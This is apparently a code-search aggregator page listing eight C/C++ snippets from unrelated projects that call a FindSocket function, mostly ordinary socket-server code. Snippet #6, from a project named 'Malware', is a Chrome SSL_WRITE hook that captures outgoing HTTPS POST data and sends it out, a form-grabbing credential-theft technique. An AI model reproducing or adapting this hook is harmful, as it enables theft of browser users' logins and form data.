コード例 #1
0
ファイル: socket.cpp プロジェクト: phi2039/AgilePCDaemon
void CMultiSocketServer::Shutdown(const string& endpoint)
{
    // Find the descriptor in the open socket list
    CServerSocket* pSocket = FindSocket(endpoint);
    if (pSocket)
        pSocket->Shutdown();
}
コード例 #2
0
ファイル: Customizable.cpp プロジェクト: czeidler/ALEditor
status_t
Customizable::Disconnect(const char* socket, Customizable* interface)
{
	Socket* info = FindSocket(socket);
	if (info == NULL)
		return B_ERROR;
	return Disconnect(info, interface);
}
コード例 #3
0
ファイル: Network.cpp プロジェクト: snikk/Junk
bool BaseSocketManager::Send(int sockId, std::shared_ptr<IPacket> packet) {
    NetSocket* sock = FindSocket(sockId);
    if (!sock)
        return false;

    sock->Send(packet);
    return true;
}
コード例 #4
0
ファイル: Network.cpp プロジェクト: snikk/Junk
int BaseSocketManager::GetIpAddress(int sockId) {
    NetSocket* socket = FindSocket(sockId);
    if (socket) {
        return socket->GetIpAddress();
    } else {
        return 0;
    }
}
コード例 #5
0
ファイル: socket.cpp プロジェクト: phi2039/AgilePCDaemon
// TODO: Synchronize list operations?
void CMultiSocketServer::Close(const string& endpoint)
{
    // Find the descriptor in the open socket list
    CServerSocket* pSocket = FindSocket(endpoint);
    if (pSocket)
    {
        m_Sockets.erase(endpoint);
        pSocket->Close();
        delete pSocket;
    }
}
コード例 #6
0
ファイル: Chrome.c プロジェクト: gkscndrl/Malware
int CHROMECALLBACK(void*fd,const void *buf,int amount)
{
	int Total = SSL3_WRITE(fd,buf,amount);
	if (Total == amount)
	{
		if(isPostData((PCHAR)buf))
		{
			PCHAR Host = (PCHAR)HeapAlloc(GetProcessHeap(),0,MAX_PATH);
			if (Host)
			{
				RtlSecureZeroMemory(Host, MAX_PATH);
				if (ProcessHeader((PCHAR)buf, amount, "Google Chrome", Host,MAX_PATH,"SSL_WRITE") == -1)
				{
					PCHROMESOCKET NewSocket = InsertSocket((SOCKET)fd, &Section);
					if (NewSocket)
						NewSocket->szHost = Host;
					else
						HeapFree(GetProcessHeap(),0,Host);
				}
				else
				{
					HeapFree(GetProcessHeap(),0,Host);
				}

			}
		}
		else
		{
			PCHROMESOCKET Socket = FindSocket((SOCKET)fd, &Section);
			if (Socket)
			{
				PCHAR szData = (PCHAR)HeapAlloc(GetProcessHeap(),0,amount+1);
				if (szData)
				{
					RtlSecureZeroMemory(szData,amount+1);
					m_memcpy(szData,buf,amount);
					if (Socket->szHost)
					{
						
						SendPOSTRequest("Google Chrome",Socket->szHost,strlen(Socket->szHost),"SSL_WRITE 2",strlen("SSL_WRITE 2"),szData,strlen(szData));
						HeapFree(GetProcessHeap(),0,Socket->szHost);
						Socket->szHost = 0;
					}
					RemoveSocket((SOCKET)fd, &Section);
					HeapFree(GetProcessHeap(),0,szData);
				}
			}
		}
		
	}
	return Total;
}
コード例 #7
0
ファイル: socket.cpp プロジェクト: LockeLin/WebSocket_server
void L2Socket::SendTCP( size_t _agentOID, std::shared_ptr<L2Packet> _data )
{
    LOG( "SendTCP start... "+_data->GetSize());
    if( bWebSocket )
    {
        ENCODE->EncodeRFC6455( _data );
        LOG( "SendTCP EncodeRFC6455... "+_data->GetSize());
    }
    //sendAgetOIdAry.push_back(_aId);
    //sendPaktAry.push_back(_data);
    tcp::socket* _socket= FindSocket(_agentOID);
        //+" "+_data->ToString() );
    async_write( *_socket, _data->GetSendBuffer(), transfer_at_least(1),bind(&L2Socket::HandleSend,this,ref(*_socket),_agentOID,_1,_2));
}
コード例 #8
0
ファイル: multiplexer_epoll.c プロジェクト: Justasic/nbstftp
void ProcessSockets(void)
{
	if (socketpool.length >= events.capacity)
	{
		bprintf("Reserving more space for events\n");
		vec_reserve(&events, socketpool.length * 2);
	}

	bprintf("Entering epoll_wait\n");

	int total = epoll_wait(EpollHandle, &vec_first(&events), events.capacity, config->readtimeout * 1000);

	if (total == -1)
	{
		if (errno != EINTR)
			fprintf(stderr, "Error processing sockets: %s\n", strerror(errno));
		return;
	}

	for (int i = 0; i < total; ++i)
	{
		epoll_t *ev = &(events.data[i]);

		socket_t s;
		if (FindSocket(ev->data.fd, &s) == -1)
		{
			bfprintf(stderr, "Unknown FD in multiplexer: %d\n", ev->data.fd);
			// We don't know what socket this is. Someone added something
			// stupid somewhere so shut this shit down now.
			// We have to create a temporary socket_t object to remove it
			// from the multiplexer, then we can close it.
			socket_t tmp = { ev->data.fd, 0, 0, 0, 0 };
			RemoveFromMultiplexer(tmp);
			close(ev->data.fd);
			continue;
		}

		// Call our event.
		CallEvent(EV_SOCKETACTIVITY, &s);

		if (ev->events & (EPOLLHUP | EPOLLERR))
		{
			bprintf("Epoll error reading socket %d, destroying.\n", s.fd);
			DestroySocket(s, 1);
			continue;
		}

		// Process socket write events
		if (ev->events & EPOLLOUT && SendPackets(s) == -1)
		{
			bprintf("Destorying socket due to send failure!\n");
			DestroySocket(s, 1);
		}

		// process socket read events.
		if (ev->events & EPOLLIN && ReceivePackets(s) == -1)
		{
			bprintf("Destorying socket due to receive failure!\n");
			DestroySocket(s, 1);
		}
	}
}